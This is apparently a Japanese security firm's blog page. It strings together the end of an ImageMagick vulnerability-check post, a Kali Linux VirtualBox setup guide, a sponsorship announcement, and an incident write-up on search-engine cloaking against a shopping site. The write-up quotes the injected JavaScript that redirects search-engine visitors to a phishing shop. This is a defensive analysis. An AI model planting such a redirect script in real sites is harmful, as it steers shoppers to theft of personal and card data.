
しばらく待つと結果が表示されます。
UNSAFEとでるとまだ脆弱性があるバージョンを使ってます。
22

※環境や状況によってPoCで検知されない、というケースもありますので、あくまで参考とし、かならず実際にチェックする必要があります。

すでに、ImageMagickの最新バージョンではこの脆弱性は対応されていますが、最近の事ですので、対応されていないImageMagickを利用しているサイトもまだまだ多いのではないでしょうか。

サーバ管理者や早急にPoCなどを利用してImageMagickのバージョンを確認して最新のバージョンを利用するようにしてください。

最後に本記事はコンピュータセキュリティを学びたい人のために作成したものです。悪用はしないでください。

Kali Linuxをインストールしてみる!

Kali Linux セットアップ手順

はじめに。
Kali Linuxは、BackTrack Linuxの後継にあたるペネトレーション用のOSになります。
擬似的にハッキングを仕掛けてシステムの耐久力をテストするための様々ツール、ソフトが初めから入っています。
BackTrackに関しては以前紹介したこちらの記事を参照>>

KaliLinuxはソフトではなく、WindowsやMacと同じようなOSとなりますので、通常はパソコンを用意してその中に入れていくのですが、実際に専用のパソコンを準備するのは大変なので、バーチャル(仮想)として、現在利用しているWindowsの中に別のOSをインストールして利用する事が出来ます。
使いたい時だけ、仮想OSを起動して利用する事になります。
このようなことを実現するためのソフトが、VirtualBoxというソフトになります。

VirtualBoxにKali Linuxをセットアップして利用するための手順を紹介します。

まずは、VirtualBoxのセットアップを済ませておいて下さい。
VirtualBoxのダウンロードはこちらから>>

次に、Kali Linuxをダウンロードしておきます。
Kali Linuxのダウンロードはこちらから>>
VirtualBox用のImageをダウンロードしますが、約3GBあるので、時間がかかります。

Kali Linux Custom Images Download - Offensive Security

ファイルをダウンロードし解凍して、Kali-Linux-2016.1-vbox-amd64.ovaをVirtualBoxで読み込みます。

VirtualBox起動して、左上「ファイル」から「仮想アプライアンスのインポート」をクリックします。
36

ダウンロードして解凍した、Kali-Linux-2016.1-vbox-amd64.ovaを開き、次へをクリックします。
37

「インポート」をクリックします。
38

インポートが完了すると、VirtualBox、左側にKaliが表示されますので、選択して「起動」を」クリックします。    8

しばらくすると起動しますので、
ユーザ名、root
パスワードに、toor
と入力してログインします。29

パスワードには、toorと入力
30

最初は英語なので、日本語に変えておきます。
右上、電源のアイコンをクリックして、左下の設定ボタンをクリックします。
39

「 地域と言語」のアイコンをクリックします。
40

日本語を選択します。
41

一度、再起動します。
43

42

再び、ユーザ名、root、パスワード、toorでログインします。
VirtualBox上のKaliLinuxと利用しているWindows双方で、コピー・ペーストが出来るようにしていきます。
VirtualBoxの「デバイス」から、「Guest AdditonsのCDイメージを挿入」をクリックします。

32

自動実行するか聞いてきますので、「キャンセル」します。
33

左端にある、ターミナルをクリックします。34

CDの中にある、VBoxLinuxAdditions.runというファイルを、手元にコピーします。
起動したターミナルに以下のように入力してエンターキーをおします。
cp /media/cdrom/VBoxLinuxAdditons.run /root/
コピーコマンドです。

[code title=”Copyコマンド”]
cp [コピーするファイル] [コピー先]
[/code]

次に、コピーしたファイルを実行します。
以下のように打ちエンターキーを押します。

[code]
./VBoxLinuxAdditions.run
[/code]

45

yesかnoか入力を聞いてきますので、yesと入力してエンターキーをおします。
46

以下の様な画面になったら完了です。
47

これで、Windowsからの文字をコピーして、Kaliに貼付けしたり、ファイルを直接ドラッグしたり出来るようになります。

このままでは、日本語が入力出来ませんので、次に日本語入力できるようにしておきましょう。
ターミナルに以下のように入力してエンターキーをおします。

[code]
apt-get install yim yum-anthy
[/code]

続行するか聞いてくるので、Yを入力してエンターキーをおします。

51

処理完了したら、一度再起動します。

アップデートもしておきましょう。

[code]
apt-get update
[/code]

50

Tiger育夫3ラウンドKO勝利!Whitehackerzスポンサーのキックボクサー応援4649!

今大会から微力ながらスポンサーさせて頂いているTiger育夫こと柳井育夫氏。7/19の試合では3ラウンドKO勝利!と絶好調です!もう次の試合が気になってしかたありません。これからも応援し続けて行きます!

IMG_2740 (2)

IMG_2714 (2)

IMG_2713 (2)

早く博多で祝勝会しましょう!!!!待っています!IMG_2012 (2)

また柳井氏は大阪府松原市にて若獅子会館松原支部の代表でもありそのコンセプトにもゆるぎない信念を感じさせる男です!

IMG_2745 (2)

IMG_2746 (2)

熱い熱い男ですので皆様も応援宜しくお願い致します!

Tiger育夫ブログ⇔http://ameblo.jp/ikuo0820/

 

ハッキング対策実例①~ショッピングサイト運営者様の場合~

日頃から、多くのお問い合わせをいただいております。
今日はその中から、実際の相談内容を紹介させていただきます。

4月下旬、1本の問い合わせメールを頂きました。

その内容は、

当社のショッピングサイトが何者かに不正にクローキングされているので、非常に迷惑している。Googleにも問い合わせしたが、対応してもらえず、会社の存続の危機であり、色々な方に相談したが、対応策が見当たりません。
どうか、話しだけでも聞いてほしい、

との内容でした。

早速、状況確認するため、メールの送り先であるショッピングサイトのオーナーに電話し、話を聞くことにしました。

相談内容は、ある特定のキーワード(実際には、このショッピングサイト名)で、検索すると、上位に、見に覚え内のないサイトが表示される、という内容でした。

実際に、検索して確認してみます。
(仮にキーワードをHOGEとします。)

Googleで、HOGEと入力して検索すると、全く同じタイトル、内容の検索結果が上位に2件表示されていました。

1番目に表示されているサイトにアクセスすると、ショッピングサイトが表示されます。
しかし、このショッピングサイトは、お問い合わせいただいたオーナー様も見に覚えのない、誰かが作成した偽物のショッピングサイトのようでした。
内容はオリジナルを丸コピーしたものでなく、全く別物のショッピングサイトでした。

2番めに表示されているのは、問い合わせされた方の正規のショッピングサイトです。

search

1番目に表示されている検索結果のURLは、www.dummy.comとなっていますが、アクセスして表示される偽のショッピングサイトのURLは、www.fake.jpとなっていました。

ですので、dummy.comから、fake.jpに自動でジャンプされていました。

検索からではなく、アドレスバーに直接、dummy.comとURLを入力してアクセスすると、自動ジャンプされず、dummy.comのコンテンツが表示されます。
ショッピングサイトではなく、海外の情報を発信するサイトが表示されました。

dummy.comがハッキングされ、細工された可能性があります。

アドレスバーに直接dummy.comを入力してソースを表示してみると、下記スクリプトがはいっていました。
<script>var s=document.referrer;if(s.indexOf(“google”)>0 || s.indexOf(“bing”)>0 || s.indexOf(“yahoo”)>0){self.location=’http://www.fake.jp/’;}</script>

このコードは、google、bing、yahooの検索サイトを経由してアクセスした場合は、fake.jpにジャンプさせ、アクセスさせる、という内容です。
ですので、検索からではなく、直接URLを入力するとこのコードは実行されず、dummy.comが表示された事になります。

このdummy.comのコンテンツは、海外のサイトであり、ショッピングサイトでありません。
当然、正規ページの内容や文章、HOGEといったキーワードなどまったく入っていない(そもそも国、言語が違う)、関係ないサイトが、なぜHOGEというキーワードで上位表示されているのでしょうか?

そこで、色々調査する中で以下の内容が判明しました。

Googleは、検索に表示させるサイトを収集するため、定期的に自動巡回プログラムを使ってサイト情報を収集しています。このプログラムをGoogleボットといいます。

通常、人がアクセスするのと変わらないのですが、このGoogleボットにはある特徴があります。それは、自分はGoogleボットです、という情報をもっている事です。

Googleボットにかぎらず、インターネットにアクセスした際、かならず、自分(利用しているブラウザの情報)が相手サーバーに送られます。

これを、User-Agent(ユーザーエージェント)といい、この情報にはアクセスしているブラウザの種類、バージョンなどのがはいっています。

Googleボットの場合、このUser Agentに、自分はGoogleボットです、という情報がはいっています。
アクセスするサーバー側で、このUser Agentが取得できますので、
見せるページを切り替える事ができます。

この切替手法はよく使われており、
たとえば、PCとスマホでは、画面のサイズが異なるので、UserAgentを取得して各端末毎にデザインされたページに切り替えさせて表示させる方法です。

このUser Agentは簡単に偽装できます。
Chromeだと、User-Agent Switcher for Chromeという拡張機能を使うと簡単に実現できます。

では、このUserAngetを偽装して、Googleボットがアクセスしたようにみせ、ハッキングされたサイト、dummy.comにアクセスしてみます。

すると、正規のショッピングサイトのページが表示されました。

また、Googleボットでアクセスした場合、URLが変わっていなかったので正規のショッピングサイトに移動されておらず、dummy.comのままで、正規のサイトが表示されていました。

つまり、YahooやGoogleから検索した場合は、dummy.comを経由して偽のショッピングサイトに誘導し、Googleボットには、正規のショッピングサイトに誘導していました。

また、Googleボットでアクセスした場合、さらに別サーバーに移動している事が分かりました。

まとめると、流れとしては、

①通常のアクセス   —> www.dummy.com —> JavaScriptでリダイレク —-> fake.jp

②Googleボット —> www.dummy.com —> 別の国のサーバ —-> official-site.jp

また、Googleボットでアクセスした際に表示される正規ページの中身は、ミラーリングされており、リアルタイムに情報を取得していました。
正規ページで商品追加などの更新を行うと、dummy.comの表示も即座に反映していました。

fake.jpは、フィッシングサイトであり、個人情報やクレジットカード情報を収集しているサイトと判明しました。
当然、購入しても商品は届きません。
しかし、問い合わせ先が正規サイトの情報が明記されていましたので、見に覚えのない問い合わせが入り、クレームが多発している状況でした。

このdummy.comは、海外の情報発信サイトであり、ページランクも高く、Googleの検索評価も高いと予想され、結果、正規ページより上位(結果1位)に表示されたと考えます。

このオーナー様が色々な方に助言され、対策を行ったが、解決せず当社に問い合わせされた、という経緯になります。

どのような助言をされたのか、聞いたところ、直接解決とは程遠い内容でした。
たとえば、ある業者からSSLを取得する事で、改善されますよ、と言われたそうで、実際に費用を支払、SSLを導入し、対策されておりました。
SSLを取得するという事は、サイト移転と同等です。httpよりhttpsの方が検索結果として優位だとは思いますが、決定的な順位決定事項でなく、まして今回の件が改善されるはずがありません。
逆に一時的に、順位が更に落ちる可能性もあります。
また、うまくいったとしても、1位と2位が入れ替わるだけで、なんら解決策ではありません。

オーナー様は現在の状況をすぐにでも解決したい、との事なのでSEO対策を行い、順位を上げる方法を行っても根本的な解決方法にはなりません。

また、Googleに問い合わせしてもいつになるのか、分からないといった状況です。

このハッキングされているサイトが日本国内で運営、稼働している場合は、サイト管理者にメールや場合よっては直接電話する、弁護士に相談など、色々手法はあるのですが、今回の場合は海外(英語圏ではない)です。

弊社に依頼する前にもこのサイト管理者に対して何度か問い合わせを試みたようですが、対応されていない現状でした。

そこで弊社の技術的チームがあらゆる対応策を洗い出し、対応を行いました。

結果、ご依頼をいただいてから2日でオーナー様が望む結果をだしました。

ご依頼されたオーナー様からは、多大な感謝を頂きました。